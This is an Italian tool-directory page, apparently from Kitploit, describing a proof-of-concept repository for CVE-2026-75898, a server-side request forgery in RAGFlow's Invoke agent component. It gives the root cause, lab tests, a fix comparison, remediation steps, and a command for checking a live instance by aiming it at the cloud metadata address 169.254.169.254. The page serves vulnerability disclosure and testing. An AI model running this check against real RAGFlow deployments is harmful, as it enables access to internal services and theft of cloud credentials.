Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-75898 — Proof-of-concept per CVE-2026-75898, una SSRF nel componente Invoke di RAGFlow. Dimostra la vulnerabilità con sorgente non modificata, include test E2E, confronto delle fix e riproduzione basata su Docker per test di sicurezza autorizzati. | Kitploit
Strumenti/GitHubGitHub/t3bik/cve-2026-75898
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPaper e RicercaApprendimento e Formazione
GitHubt3bik/cve-2026-75898

CVE-2026-75898

Proof-of-concept per CVE-2026-75898, una SSRF nel componente Invoke di RAGFlow. Dimostra la vulnerabilità con sorgente non modificata, include test E2E, confronto delle fix e riproduzione basata su Docker per test di sicurezza autorizzati.

Vedi Repository
12h 22m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-75898 — Componente Invoke di RAGFlow SSRF

Server-Side Request Forgery (CWE-918) nel componente "Invoke" del flusso agente di RAGFlow, prima della versione 0.26.3.

CVECVE-2026-75898
CVSS8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N)
Corretto inv0.26.3
Commit di fixc4fe68e, e16d1a0
Riferimenti issueinfiniflow/ragflow#15425, #18280
AdvisoryVulnCheck

Causa principale

In agent/component/invoke.py della v0.26.2 il componente Invoke costruisce l'URL della richiesta da template di variabili forniti dall'utente e non esegue alcuna validazione dell'host risolto:

root@kitploit:~
def _build_url(self, kwargs: dict) -> str:
    url = self._resolve_template_text(self._param.url.strip(), kwargs)
    if not url.startswith(("http://", "https://")):
        url = "http://" + url
    return url

Questo URL raggiunge requests.get/post/put in _send_request(). Poiché allow_redirects è lasciato al valore predefinito di requests (True), un attaccante può:

  1. impostare l'URL di Invoke su un indirizzo interno (127.0.0.1, 169.254.169.254, intervalli RFC1918, non esiste il pinning dell'host risolto), oppure
  2. puntarlo a un host dell'attaccante che reindirizza con 302 nella rete interna.

Il fix aggiunge assert_url_is_safe() + pin_dns() e forza allow_redirects=False.

Sorgente autentica, non una re-implementazione

A differenza delle re-implementazioni "simili", questo repository esegue la sorgente v0.26.2 non modificata del componente vulnerabile:

  • target/invoke_v0.26.2.py — agent/component/invoke.py byte-per-byte dal tag v0.26.2.
  • e2e/test_genuine_ssrf.py — carica quel file reale dietro stub di import sottili (lo stub sostituisce solo import non correlati: ComponentBase, il decorator timeout e HtmlParser — nessuna logica del percorso SSRF viene toccata) e dimostra che il componente raggiunge un servizio interno direttamente e tramite una catena di reindirizzamenti.
  • e2e/test_fix_guard.py — applica la guardia a monte (assert_url_is_safe, allow_redirects=False) sullo stesso identico file e mostra che le richieste vengono bloccate.

Riproducibilità

Validato in tre modi indipendenti:

  1. E2E locale al repository (nessuna installazione di RAGFlow): e2e/test_genuine_ssrf.py esegue la sorgente non modificata target/invoke_v0.26.2.py contro server di laboratorio su loopback — SSRF confermato.
  2. Confronto con il fix: e2e/test_fix_guard.py applica la guardia a monte allo stesso file — bloccato.
  3. Istanza Docker completa: RAGFlow v0.26.2 (infinity+mysql+minio+valkey) tramite docker compose; un nodo Invoke in un flusso agente reale ha recuperato INTERNAL-DB-SECRET:dbpassword=SuperSecret123 da una porta host interna. Vedi LAB_DEMO.md per le prove testuali.

Esegui l'E2E locale

root@kitploit:~
cd e2e
python3 test_genuine_ssrf.py   # deve stampare SSRF confirmed (vulnerabile)
python3 test_fix_guard.py     # deve stampare BLOCKED (comportamento corretto)

Output atteso (vulnerabile)

root@kitploit:~
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
    response: 'INTERNAL-SECRET-/internal/admin/reset'  (X-Internal header: true)
    [?] SSRF confirmed: internal service reached, secret leaked

[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
    final: 'INTERNAL-SECRET-/internal/redirected'
    [?] SSRF via redirect chain confirmed

Verifica un'istanza RAGFlow live

Richiede un token di sessione autenticato (Invoke viene eseguito all'interno di un flusso agente).

root@kitploit:~
python3 poc.py --poc                                        # E2E locale
python3 poc.py --check --target https://ragflow.example.com \
               --token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/

Rilevamento / rimedio

  • Aggiorna a RAGFlow ≥ 0.26.3.
  • Limita i template URL del nodo agente Invoke a una allowlist.
  • Filtra in uscita gli intervalli interni/metadati cloud dal backend RAGFlow.

Divulgazione

Corretto in RAGFlow v0.26.3 (agosto 2026). Questa PoC è stata ricostruita in modo indipendente dall'advisory pubblico e dai commit di fix esclusivamente per test di sicurezza autorizzati e scopi educativi. Non affiliata a InfiniFlow.

Scarica lo strumento